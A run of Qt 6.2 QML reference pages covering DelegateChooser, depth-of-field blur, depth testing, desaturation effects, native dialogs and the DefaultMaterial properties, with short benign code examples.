 **See also** [row](qml-qt-labs-qmlmodels-delegatechoice#row-prop).

 ###  roleValue : variant

 This property holds the value used to match the role data for the role provided by [DelegateChooser::role](qml-qt-labs-qmlmodels-delegatechooser#role-prop).

 ###  row : [int](qml-int)

 This property holds the value used to match the row value of model elements. With models that have only the index property (and thus only one column), this property should be intended as an index, and set to the desired index value.

  **Note:** Setting both row and index has undefined behavior. The two are equivalent and only one should be used.

  **See also** [index](qml-qt-labs-qmlmodels-delegatechoice#index-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt-labs-qmlmodels-delegatechoice.html>

DelegateChooser QML Type
========================

 Allows a view to use different delegates for different types of items in the model. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt.labs.qmlmodels |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt-labs-qmlmodels-delegatechooser-members.html)

 Properties
----------

 * **[choices](qml-qt-labs-qmlmodels-delegatechooser#choices-prop)** : list<DelegateChoice>
* **[role](qml-qt-labs-qmlmodels-delegatechooser#role-prop)** : string

 Detailed Description
--------------------

 The DelegateChooser is a special [Component](qml-qtqml-component) type intended for those scenarios where a Component is required by a view and used as a delegate. DelegateChooser encapsulates a set of [DelegateChoice](qml-qt-labs-qmlmodels-delegatechoice)s. These choices are used to determine the delegate that will be instantiated for each item in the model. The selection of the choice is performed based on the value that a model item has for [role](qml-qt-labs-qmlmodels-delegatechooser#role-prop), and also based on index.

 DelegateChooser is commonly used when a view needs to display a set of delegates that are significantly different from each other. For example, a typical phone settings view might include toggle switches, sliders, radio buttons, and other visualizations based on the type of each setting. In this case, DelegateChooser could provide an easy way to associate a different type of delegate with each setting:

 
```
import QtQuick
import QtQuick.Controls
import Qt.labs.qmlmodels

ListView {
    width: 200; height: 400

    ListModel {
        id: listModel
        ListElement { type: "info"; ... }
        ListElement { type: "switch"; ... }
        ListElement { type: "swipe"; ... }
        ListElement { type: "switch"; ... }
    }

    DelegateChooser {
        id: chooser
        role: "type"
        DelegateChoice { roleValue: "info"; ItemDelegate { ... } }
        DelegateChoice { roleValue: "switch"; SwitchDelegate { ... } }
        DelegateChoice { roleValue: "swipe"; SwipeDelegate { ... } }
    }

    model: listModel
    delegate: chooser
}
```
  **Note:** This type is intended to transparently work only with [TableView](qml-qtquick-tableview) and any [DelegateModel](qml-qtqml-models-delegatemodel)-based view. Views (including user-defined views) that aren't internally based on a [DelegateModel](qml-qtqml-models-delegatemodel) need to explicitly support this type of component to make it function as described.

  **See also** [DelegateChoice](qml-qt-labs-qmlmodels-delegatechoice).

 Property Documentation
----------------------

 ###  [default] choices : [list](qml-list)<[DelegateChoice](qml-qt-labs-qmlmodels-delegatechoice)>

 The list of DelegateChoices for the chooser.

 The list is treated as an ordered list, where the first [DelegateChoice](qml-qt-labs-qmlmodels-delegatechoice) to match will be used be a view.

 It should not generally be necessary to refer to the `choices` property, as it is the default property for [DelegateChooser](qml-qt-labs-qmlmodels-delegatechooser) and thus all child items are automatically assigned to this property.

 ###  role : [string](qml-string)

 This property holds the role or the property name used to determine the delegate for a given model item.

 **See also** [DelegateChoice](qml-qt-labs-qmlmodels-delegatechoice).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt-labs-qmlmodels-delegatechooser.html>

DepthOfFieldHQBlur QML Type
===========================

 A depth-based blur effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-depthoffieldhqblur-members.html)

 Properties
----------

 * **[blurAmount](qml-qtquick3d-effects-depthoffieldhqblur#blurAmount-prop)** : real
* **[focusDistance](qml-qtquick3d-effects-depthoffieldhqblur#focusDistance-prop)** : real
* **[focusRange](qml-qtquick3d-effects-depthoffieldhqblur#focusRange-prop)** : real

 Detailed Description
--------------------

 ![]


The DepthOfFieldHQBlur effect performs a gradient blur on regions of the image based on their deviation from a specified distance from the camera.

 For this effect to work well, you need to adjust the [clipFar](qml-qtquick3d-perspectivecamera#clipFar-prop) and [clipNear](qml-qtquick3d-perspectivecamera#clipNear-prop) properties of the camera for the scene to frame the content. You ideally want the largest possible value for [clipNear](qml-qtquick3d-perspectivecamera#clipNear-prop) and the smallest possible value for [clipFar](qml-qtquick3d-perspectivecamera#clipFar-prop). Next, adjust the properties of the effect for the desired result.

 For example, a [focusDistance](qml-qtquick3d-effects-depthoffieldhqblur#focusDistance-prop) of `100` and a [focusRange](qml-qtquick3d-effects-depthoffieldhqblur#focusRange-prop) of `20` means that everything that is between 90 and 110 units away from the camera will be entirely in focus, items at a distance of 70-90 and 110-130 units will experience variable blurring, and everything closer than 70 or farther than 130 will be entirely blurred.

 **See also** [TiltShift](qml-qtquick3d-effects-tiltshift).

 Property Documentation
----------------------

 ###  blurAmount : [real](qml-real)

 The strength of blur when out of focus. Sensible values are in the range `[1...10]`. The default value is `4`.

 ###  focusDistance : [real](qml-real)

 The distance from the camera where the content is in perfect focus. The default value is `600`.

 ###  focusRange : [real](qml-real)

 The distance around the [focusDistance](qml-qtquick3d-effects-depthoffieldhqblur#focusDistance-prop) where items are fully in focus. The focus then fades away to fully blurred by the same distance on both the near and far sides. The default value is `100`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-depthoffieldhqblur.html>

DepthTest QML Type
==================

 The DepthTest type tests the fragment shader's depth value against the depth of a sample being written to. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QDepthTest](qt3drender-qdepthtest) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-depthtest-members.html)

 Properties
----------

 * **[depthFunction](qml-qt3d-render-depthtest#depthFunction-prop)** : enumeration

 Detailed Description
--------------------

 A DepthTest type is used to enable depth testing with a given depth test function. The depth test enables writing fragment color values when the depth test passes, and reject fragments which fail the test. The depth test uses the depth function to test the fragments depth value to the value against z-buffer. If the underlying surface does not have z-buffer, the DepthTest does nothing.

 **See also** [AlphaTest](qml-qt3d-render-alphatest) and [StencilTest](qml-qt3d-render-stenciltest).

 Property Documentation
----------------------

 ###  depthFunction : [enumeration](qml-enumeration)

 Holds the current function used by depth test. The default is [DepthTest](qml-qt3d-render-depthtest).Never.

 * [DepthTest](qml-qt3d-render-depthtest).Never
* [DepthTest](qml-qt3d-render-depthtest).Always
* [DepthTest](qml-qt3d-render-depthtest).Less
* [DepthTest](qml-qt3d-render-depthtest).LessOrEqual
* [DepthTest](qml-qt3d-render-depthtest).Equal
* [DepthTest](qml-qt3d-render-depthtest).GreaterOrEqual
* [DepthTest](qml-qt3d-render-depthtest).Greater
* [DepthTest](qml-qt3d-render-depthtest).NotEqual

 **See also** [Qt3DRender::QDepthTest::DepthFunction](qt3drender-qdepthtest#DepthFunction-enum).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-depthtest.html>

Desaturate QML Type
===================

 Reduces the saturation of the colors. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-desaturate-members.html)

 Properties
----------

 * **[cached](qml-qt5compat-graphicaleffects-desaturate#cached-prop)** : bool
* **[desaturation](qml-qt5compat-graphicaleffects-desaturate#desaturation-prop)** : real
* **[source](qml-qt5compat-graphicaleffects-desaturate#source-prop)** : variant

 Detailed Description
--------------------

 Desaturated pixel values are calculated as averages of the original RGB component values of the source item.

 

| Source | Effect applied |
| --- | --- |
|  |  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    Image {
        id: bug
        source: "images/bug.jpg"
        sourceSize: Qt.size(parent.width, parent.height)
        smooth: true
        visible: false
    }

    Desaturate {
        anchors.fill: bug
        source: bug
        desaturation: 0.8
    }
}
```
 Property Documentation
----------------------

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance.

 Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  desaturation : [real](qml-real)

 This property defines how much the source colors are desaturated.

 The value ranges from 0.0 (no change) to 1.0 (desaturated). By default, the property is set to `0.0` (no change).

 

| Output examples with different desaturation values |  |  |
| --- | --- | --- |
|  |  |  |
|  **desaturation: 0.0**  |  **desaturation: 0.5**  |  **desaturation: 1.0**  |

 ###  source : variant

 This property defines the source item that provides the source pixels to the effect.

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-desaturate.html>

Desaturate QML Type
===================

 A desaturating effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-desaturate-members.html)

 Properties
----------

 * **[amount](qml-qtquick3d-effects-desaturate#amount-prop)** : real

 Detailed Description
--------------------

 ![]


The Desaturate effect allows decreasing the intensity of all colors in the scene.

 Property Documentation
----------------------

 ###  amount : [real](qml-real)

 The strength of desaturation. The range is `[0...1]`, with `0` being fully saturated and `1` being fully grayscale. The default value is `0.5`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-desaturate.html>

Dialog QML Type
===============

 The base class of native dialogs. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt.labs.platform |
|  Since: |  Qt 5.8 |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |
|  Inherited By: | [ColorDialog](qml-qt-labs-platform-colordialog), [FileDialog](qml-qt-labs-platform-filedialog), [FolderDialog](qml-qt-labs-platform-folderdialog), [FontDialog](qml-qt-labs-platform-fontdialog), and [MessageDialog](qml-qt-labs-platform-messagedialog) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt-labs-platform-dialog-members.html)

 Properties
----------

 * **[data](qml-qt-labs-platform-dialog#data-prop)** : list<QtObject>
* **[flags](qml-qt-labs-platform-dialog#flags-prop)** : Qt::WindowFlags
* **[modality](qml-qt-labs-platform-dialog#modality-prop)** : Qt::WindowModality
* **[parentWindow](qml-qt-labs-platform-dialog#parentWindow-prop)** : Window
* **[result](qml-qt-labs-platform-dialog#result-prop)** : int
* **[title](qml-qt-labs-platform-dialog#title-prop)** : string
* **[visible](qml-qt-labs-platform-dialog#visible-prop)** : bool

 Signals
-------

 * void **[accepted](qml-qt-labs-platform-dialog#accepted-signal)**()
* void **[rejected](qml-qt-labs-platform-dialog#rejected-signal)**()

 Methods
-------

 * void **[accept](qml-qt-labs-platform-dialog#accept-method)**()
* void **[close](qml-qt-labs-platform-dialog#close-method)**()
* void **[done](qml-qt-labs-platform-dialog#done-method)**(int *result*)
* void **[open](qml-qt-labs-platform-dialog#open-method)**()
* void **[reject](qml-qt-labs-platform-dialog#reject-method)**()

 Detailed Description
--------------------

 The Dialog type provides common QML API for native platform dialogs.

 To show a native dialog, construct an instance of one of the concrete Dialog implementations, set the desired properties, and call [open](qml-qt-labs-platform-dialog#open-method)(). Dialog emits [accepted](qml-qt-labs-platform-dialog#accepted-signal)() or [rejected](qml-qt-labs-platform-dialog#rejected-signal)() when the user is done with the dialog.

  **Note:** *Types in Qt.labs modules are not guaranteed to remain compatible in future versions.*

  Property Documentation
----------------------

 ###  [default] data : [list](qml-list)<[QtObject](qml-qtqml-qtobject)>

 This default property holds the list of all objects declared as children of the dialog.

 ###  flags : Qt::WindowFlags

 This property holds the window flags of the dialog. The default value is `Qt.Dialog`.

 ###  modality : Qt::WindowModality

 This property holds the modality of the dialog. The default value is `Qt.WindowModal`.

 Available values:

 

| Constant | Description |
| --- | --- |
| `Qt.NonModal` | The dialog is not modal and does not block input to other windows. |
| `Qt.WindowModal` | The dialog is modal to a single window hierarchy and blocks input to its parent window, all grandparent windows, and all siblings of its parent and grandparent windows. |
| `Qt.ApplicationModal` | The dialog is modal to the application and blocks input to all windows. |

 ###  parentWindow : [Window](qml-qtquick-window)

 This property holds the parent window of the dialog.

 Unless explicitly set, the window is automatically resolved by iterating the QML parent objects until a [Window](qml-qtquick-window) or an [Item](qml-qtquick-item) that has a window is found.

 ###  result : [int](qml-int)

 This property holds the result code.

 Standard result codes:

 

| Constant | Value |
| --- | --- |
| `Dialog.Accepted` |
| `Dialog.Rejected` |

  **Note:** [MessageDialog](qml-qt-labs-platform-messagedialog) sets the result to the value of the clicked standard button instead of using the standard result codes.

  ###  title : [string](qml-string)

 This property holds the title of the dialog.

 ###  visible : [bool](qml-bool)

 This property holds the visibility of the dialog. The default value is `false`.

 **See also** [open](qml-qt-labs-platform-dialog#open-method)() and [close](qml-qt-labs-platform-dialog#close-method)().

 Signal Documentation
--------------------

 ###  void accepted()

 This signal is emitted when the dialog has been accepted either interactively or by calling [accept](qml-qt-labs-platform-dialog#accept-method)().

  **Note:** This signal is *not* emitted when closing the dialog with [close](qml-qt-labs-platform-dialog#close-method)().

  **Note:** The corresponding handler is `onAccepted`.

 **See also** [rejected](qml-qt-labs-platform-dialog#rejected-signal)().

 ###  void rejected()

 This signal is emitted when the dialog has been rejected either interactively or by calling [reject](qml-qt-labs-platform-dialog#reject-method)().

  **Note:** This signal is *not* emitted when closing the dialog with [close](qml-qt-labs-platform-dialog#close-method)().

  **Note:** The corresponding handler is `onRejected`.

 **See also** [accepted](qml-qt-labs-platform-dialog#accepted-signal)().

 Method Documentation
--------------------

 ###  void accept()

 Closes the dialog and emits the [accepted](qml-qt-labs-platform-dialog#accepted-signal)() signal.

 **See also** [reject](qml-qt-labs-platform-dialog#reject-method)().

 ###  void close()

 Closes the dialog.

 **See also** [visible](qml-qt-labs-platform-dialog#visible-prop) and [open](qml-qt-labs-platform-dialog#open-method)().

 ###  void done([int](qml-int) *result*)

 Closes the dialog and sets the *result*.

 **See also** [accept](qml-qt-labs-platform-dialog#accept-method)(), [reject](qml-qt-labs-platform-dialog#reject-method)(), and [result](qml-qt-labs-platform-dialog#result-prop).

 ###  void open()

 Opens the dialog.

 **See also** [visible](qml-qt-labs-platform-dialog#visible-prop) and [close](qml-qt-labs-platform-dialog#close-method)().

 ###  void reject()

 Closes the dialog and emits the [rejected](qml-qt-labs-platform-dialog#rejected-signal)() signal.

 **See also** [accept](qml-qt-labs-platform-dialog#accept-method)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt-labs-platform-dialog.html>

Dialog QML Type
===============

 The base class of native dialogs. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Dialogs |
|  Since: |  Qt 6.2 |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |
|  Inherited By: | [FileDialog](qml-qtquick-dialogs-filedialog) and [FontDialog](qml-qtquick-dialogs-fontdialog) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-dialogs-dialog-members.html)

 Properties
----------

 * **[data](qml-qtquick-dialogs-dialog#data-prop)** : list<Object>
* **[flags](qml-qtquick-dialogs-dialog#flags-prop)** : Qt::WindowFlags
* **[modality](qml-qtquick-dialogs-dialog#modality-prop)** : Qt::WindowModality
* **[parentWindow](qml-qtquick-dialogs-dialog#parentWindow-prop)** : Window
* **[result](qml-qtquick-dialogs-dialog#result-prop)** : StandardCode
* **[title](qml-qtquick-dialogs-dialog#title-prop)** : string
* **[visible](qml-qtquick-dialogs-dialog#visible-prop)** : bool

 Signals
-------

 * void **[accepted](qml-qtquick-dialogs-dialog#accepted-signal)**()
* void **[rejected](qml-qtquick-dialogs-dialog#rejected-signal)**()

 Methods
-------

 * void **[accept](qml-qtquick-dialogs-dialog#accept-method)**()
* void **[close](qml-qtquick-dialogs-dialog#close-method)**()
* void **[done](qml-qtquick-dialogs-dialog#done-method)**(StandardCode *result*)
* void **[open](qml-qtquick-dialogs-dialog#open-method)**()
* void **[reject](qml-qtquick-dialogs-dialog#reject-method)**()

 Detailed Description
--------------------

 The Dialog type provides common QML API for native platform dialogs.

 To show a native dialog, construct an instance of one of the concrete Dialog implementations, set the desired properties, and call [open](qml-qtquick-dialogs-dialog#open-method)(). Dialog emits [accepted](qml-qtquick-dialogs-dialog#accepted-signal)() or [rejected](qml-qtquick-dialogs-dialog#rejected-signal)() when the user is done with the dialog.

 Property Documentation
----------------------

 ###  [default] data : [list](qml-list)<Object>

 This default property holds the list of all objects declared as children of the dialog.

 ###  flags : Qt::WindowFlags

 This property holds the window flags of the dialog. The default value is `Qt.Dialog`.

 ###  modality : Qt::WindowModality

 This property holds the modality of the dialog. The default value is `Qt.WindowModal`.

 Available values:

 

| Constant | Description |
| --- | --- |
| `Qt.NonModal` | The dialog is not modal and does not block input to other windows. |
| `Qt.WindowModal` | The dialog is modal to a single window hierarchy and blocks input to its parent window, all grandparent windows, and all siblings of its parent and grandparent windows. |
| `Qt.ApplicationModal` | The dialog is modal to the application and blocks input to all windows. |

 ###  parentWindow : [Window](qml-qtquick-window)

 This property holds the parent window of the dialog.

 Unless explicitly set, the window is automatically resolved by iterating the QML parent objects until a [Window](qml-qtquick-window) or an [Item](qml-qtquick-item) that has a window is found.

 ###  result : StandardCode

 This property holds the result code.

 Standard result codes:

 

| Constant | Value |
| --- | --- |
| `Dialog.Accepted` |
| `Dialog.Rejected` |

  **Note:** [MessageDialog](qml-qt-labs-platform-messagedialog) sets the result to the value of the clicked standard button instead of using the standard result codes.

  ###  title : [string](qml-string)

 This property holds the title of the dialog.

 ###  visible : [bool](qml-bool)

 This property holds the visibility of the dialog. The default value is `false`.

 **See also** [open](qml-qtquick-dialogs-dialog#open-method)() and [close](qml-qtquick-dialogs-dialog#close-method)().

 Signal Documentation
--------------------

 ###  void accepted()

 This signal is emitted when the dialog has been accepted either interactively or by calling [accept](qml-qtquick-dialogs-dialog#accept-method)().

  **Note:** This signal is *not* emitted when closing the dialog with [close](qml-qtquick-dialogs-dialog#close-method)().

  **Note:** The corresponding handler is `onAccepted`.

 **See also** [rejected](qml-qtquick-dialogs-dialog#rejected-signal)().

 ###  void rejected()

 This signal is emitted when the dialog has been rejected either interactively or by calling [reject](qml-qtquick-dialogs-dialog#reject-method)().

  **Note:** This signal is *not* emitted when closing the dialog with [close](qml-qtquick-dialogs-dialog#close-method)().

  **Note:** The corresponding handler is `onRejected`.

 **See also** [accepted](qml-qtquick-dialogs-dialog#accepted-signal)().

 Method Documentation
--------------------

 ###  void accept()

 Closes the dialog and emits the [accepted](qml-qtquick-dialogs-dialog#accepted-signal)() signal.

 **See also** [reject](qml-qtquick-dialogs-dialog#reject-method)().

 ###  void close()

 Closes the dialog.

 **See also** [visible](qml-qtquick-dialogs-dialog#visible-prop) and [open](qml-qtquick-dialogs-dialog#open-method)().

 ###  void done(StandardCode *result*)

 Closes the dialog and sets the *result*.

 **See also** [accept](qml-qtquick-dialogs-dialog#accept-method)(), [reject](qml-qtquick-dialogs-dialog#reject-method)(), and [result](qml-qtquick-dialogs-dialog#result-prop).

 ###  void open()

 Opens the dialog.

 **See also** [visible](qml-qtquick-dialogs-dialog#visible-prop) and [close](qml-qtquick-dialogs-dialog#close-method)().

 ###  void reject()

 Closes the dialog and emits the [rejected](qml-qtquick-dialogs-dialog#rejected-signal)() signal.

 **See also** [accept](qml-qtquick-dialogs-dialog#accept-method)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-dialogs-dialog.html>

DefaultMaterial QML Type
========================

 Lets you define a material for 3D items using the specular/glossiness workflow. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherits: | [Material](qml-qtquick3d-material) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-defaultmaterial-members.html)

 Properties
----------

 * **[blendMode](qml-qtquick3d-defaultmaterial#blendMode-prop)** : enumeration
* **[bumpAmount](qml-qtquick3d-defaultmaterial#bumpAmount-prop)** : real
* **[bumpMap](qml-qtquick3d-defaultmaterial#bumpMap-prop)** : Texture
* **[diffuseColor](qml-qtquick3d-defaultmaterial#diffuseColor-prop)** : color
* **[diffuseLightWrap](qml-qtquick3d-defaultmaterial#diffuseLightWrap-prop)** : real
* **[diffuseMap](qml-qtquick3d-defaultmaterial#diffuseMap-prop)** : Texture
* **[emissiveFactor](qml-qtquick3d-defaultmaterial#emissiveFactor-prop)** : vector3d
* **[emissiveMap](qml-qtquick3d-defaultmaterial#emissiveMap-prop)** : Texture
* **[fresnelPower](qml-qtquick3d-defaultmaterial#fresnelPower-prop)** : real
* **[indexOfRefraction](qml-qtquick3d-defaultmaterial#indexOfRefraction-prop)** : real
* **[lighting](qml-qtquick3d-defaultmaterial#lighting-prop)** : enumeration
* **[lineWidth](qml-qtquick3d-defaultmaterial#lineWidth-prop)** : real
* **[normalMap](qml-qtquick3d-defaultmaterial#normalMap-prop)** : Texture
* **[opacity](qml-qtquick3d-defaultmaterial#opacity-prop)** : real
* **[opacityChannel](qml-qtquick3d-defaultmaterial#opacityChannel-prop)** : enumeration
* **[opacityMap](qml-qtquick3d-defaultmaterial#opacityMap-prop)** : Texture
* **[pointSize](qml-qtquick3d-defaultmaterial#pointSize-prop)** : real
* **[roughnessChannel](qml-qtquick3d-defaultmaterial#roughnessChannel-prop)** : enumeration
* **[roughnessMap](qml-qtquick3d-defaultmaterial#roughnessMap-prop)** : Texture
* **[specularAmount](qml-qtquick3d-defaultmaterial#specularAmount-prop)** : real
* **[specularMap](qml-qtquick3d-defaultmaterial#specularMap-prop)** : Texture
* **[specularModel](qml-qtquick3d-defaultmaterial#specularModel-prop)** : enumeration
* **[specularReflectionMap](qml-qtquick3d-defaultmaterial#specularReflectionMap-prop)** : Texture
* **[specularRoughness](qml-qtquick3d-defaultmaterial#specularRoughness-prop)** : real
* **[specularTint](qml-qtquick3d-defaultmaterial#specularTint-prop)** : color
* **[translucencyChannel](qml-qtquick3d-defaultmaterial#translucencyChannel-prop)** : enumeration
* **[translucencyMap](qml-qtquick3d-defaultmaterial#translucencyMap-prop)** : Texture
* **[translucentFalloff](qml-qtquick3d-defaultmaterial#translucentFalloff-prop)** : real
* **[vertexColorsEnabled](qml-qtquick3d-defaultmaterial#vertexColorsEnabled-prop)** : bool

 Detailed Description
--------------------

 Before a Model can be rendered in a scene, it must have at least one material attached to it that describes how the mesh should be shaded. The DefaultMaterial is an easy to use material that lets you describe your material using a specular/glossiness type workflow. The material has sensible default and can be used to shade a model without changing any properties.

 Specular/Glossiness workflow
----------------------------

 The Default material provides a way to create materials using a specular/glossiness type workflow. The main properties of the material are controlled through the [specular](qml-qtquick3d-defaultmaterial#specularMap-prop), [roughness](qml-qtquick3d-defaultmaterial#roughnessMap-prop), and the [diffuse color](qml-qtquick3d-defaultmaterial#diffuseMap-prop) property.

 ### Specular

 The [specular reflectivity](qml-qtquick3d-defaultmaterial#specularMap-prop) describes the specular amount and color of an object's surface. For reflective materials the main color contribution, comes from this property.

 ### Glossiness (Roughness)

 The glossiness of a surface depends on how smooth or irregular the surface is. A smooth surface will have a more intense light reflection then a rough surface, where the light reflection will be more spread out. In the Default material the material's glossiness is controlled through the [roughness](qml-qtquick3d-defaultmaterial#roughnessMap-prop) property.

 ### Diffuse color

 The [diffuse color](qml-qtquick3d-defaultmaterial#diffuseMap-prop) property describes the basic color of the material, and unlike the [PrincipledMaterial](qml-qtquick3d-principledmaterial)'s base color, the diffuse color does not contain any information about the material reflectance. However, for reflective surfaces the diffuse color should be set to a black tint, as that will allow for the specular color to contribute.

 Property Documentation
----------------------

 ###  blendMode : [enumeration](qml-enumeration)

 This property determines how the colors of the model rendered blend with those behind it.

 

| Constant | Description |
| --- | --- |
| `DefaultMaterial.SourceOver` | Default blend mode. Opaque objects occlude objects behind them. This default mode does not guarantee alpha blending in the rendering pipeline on its own for models that use this material, but rather makes the decision dependent on a number of factors: if the object's and material's total opacity is `1.0` and there are no texture maps in the material with semi-transparent pixels in them, then the model is treated as opaque, meaning it is rendered with depth testing and depth write enabled, together with other opaque objects, with blending disabled. Otherwise the model is treated as semi-transparent, and is rendered after the opaque objects, together with other semi-transparent objects in a back-to-front order based on their center's distance from the camera, with alpha blending enabled. |
| `DefaultMaterial.Screen` | Colors are blended using an inverted multiply, producing a lighter result. This blend mode is order-independent; if you are using semi-opaque objects and experiencing *popping* as faces or models sort differently, using Screen blending is one way to produce results without popping. |
| `DefaultMaterial.Multiply` | Colors are blended using a multiply, producing a darker result. This blend mode is also order-independent. |

 **See also** [Qt Quick 3D Architecture](qtquick3d-architecture).

 ###  bumpAmount : [real](qml-real)

 This property controls the amount of simulated displacement for the [bumpMap](qml-qtquick3d-defaultmaterial#bumpMap-prop) or [normalMap](qml-qtquick3d-defaultmaterial#normalMap-prop). The default value is `0` disabling the bump effect. The range is [0, 1].

 ###  bumpMap : [Texture](qml-qtquick3d-texture)

 This property defines a grayscale Texture to simulate fine geometry displacement across the surface of the material. Brighter pixels indicate raised regions. The amount of the effect is controlled by the [bumpAmount](qml-qtquick3d-defaultmaterial#bumpAmount-prop) property.

  **Note:** bump maps will not affect the silhouette of a model.

  ###  diffuseColor : [color](qml-color)

 This property determines the diffuse color (albedo) for the material. Setting the diffuse color to a black tint will create a purely-specular material (e.g. metals or mirrors).

 ###  diffuseLightWrap : [real](qml-real)

 This property determines the amount of light wrap for the translucency map. A value of 0 will not wrap the light at all, while a value of 1 will wrap the light all around the object.

 ###  diffuseMap : [Texture](qml-qtquick3d-texture)

 This property defines a Texture to apply to the material. Using Texture with transparency will also apply the alpha channel as an opacity map.

 ###  emissiveFactor : [vector3d](qml-vector3d)

 This property determines the color of self-illumination for this material. If an emissive map is set, the x, y, and z components are used as factors (multipliers) for the R, G and B channels of the texture, respectively. The default value is (0, 0, 0) and it means no emissive contribution at all.

  **Note:** Setting the lightingMode to [DefaultMaterial](qml-qtquick3d-defaultmaterial).NoLighting means emissive Factor does not have an effect on the scene.

  ###  emissiveMap : [Texture](qml-qtquick3d-texture)

 This property sets a RGB Texture to be used to specify the intensity of the emissive color.

 **See also** [emissiveFactor](qml-qtquick3d-defaultmaterial#emissiveFactor-prop).

 ###  fresnelPower : [real](qml-real)

 This property decreases head-on reflections (looking directly at the surface) while maintaining reflections seen at grazing angles. The default value is `0` disabling the fresnel effect.

 ###  indexOfRefraction : [real](qml-real)

 This property controls what angles of reflections are affected by the [fresnelPower](qml-qtquick3d-defaultmaterial#fresnelPower-prop). The default is `1.45`. The value must be greater or equal to `1.0`.

  **Note:** No known material in the world have ior much greater than `3.0`.

  ###  lighting : [enumeration](qml-enumeration)

 This property defines which lighting method is used when generating this material.

 The default value is `DefaultMaterial.FragmentLighting`

 When using `DefaultMaterial.FragmentLighting`, diffuse and specular lighting are calculated for each rendered pixel. Certain effects (such as a Fresnel or bump map) require `DefaultMaterial.FragmentLighting` to work.

 When using `DefaultMaterial.NoLighting` no lighting is calculated. This mode is (predictably) very fast, and quite effective when image maps are used that do not need to be shaded by lighting.

 

| Constant | Description |
| --- | --- |
| `DefaultMaterial.NoLighting` | No lighting is calculated. |
| `DefaultMaterial.FragmentLighting` | Per-fragment lighting is calculated. |

 ###  lineWidth : [real](qml-real)

 This property determines the width of the lines rendered, when the geometry is using a primitive type of lines or line strips. The default value is 1.0. This property is not relevant when rendering other types of geometry, such as, triangle meshes.

  **Warning:** Line widths other than 1 may not be suported at run time, depending on the underlying graphics API. When that is the case, the request to change the width is ignored. For example, none of the following can be expected to support wide lines: Direct3D, Metal, OpenGL with core profile contexts.

   **Note:** Unlike most other material properties, the line width is under the hood baked in to a graphics pipeline object, similarly to [blendMode](qml-qtquick3d-defaultmaterial#blendMode-prop). Therefore, a different value leads to having to create a new pipeline object, which over time can become costly (performance and resource usage) if the property is frequently changed to many different values. For example, animating this property is possible, but should be avoided.

  ###  normalMap : [Texture](qml-qtquick3d-texture)

 This property defines a RGB image used to simulate fine geometry displacement across the surface of the material. The RGB channels indicate XYZ normal deviations. The amount of the effect is controlled by the [bumpAmount](qml-qtquick3d-defaultmaterial#bumpAmount-prop) property.

  **Note:** Normal maps will not affect the silhouette of a model.

  ###  opacity : [real](qml-real)

 This property drops the opacity of just this material, separate from the model. The default is `1.0`. The range is [0.0, 1.0].

 ###  opacityChannel : [enumeration](qml-enumeration)

 This property defines the texture channel used to read the opacity value from [opacityMap](qml-qtquick3d-defaultmaterial#opacityMap-prop). The default value is `Material.A`.

 

| Constant | Description |
| --- | --- |
| `Material.R` | Read value from texture R channel. |
| `Material.G` | Read value from texture G channel. |
| `Material.B` | Read value from texture B channel. |
| `Material.A` | Read value from texture A channel. |

 ###  opacityMap : [Texture](qml-qtquick3d-texture)

 This property defines a Texture used to control the opacity differently for different parts of the material.

 ###  pointSize : [real](qml-real)

 This property determines the size of the points rendered, when the geometry is using a primitive type of points. The default value is 1.0. This property is not relevant when rendering other types of geometry, such as, triangle meshes.

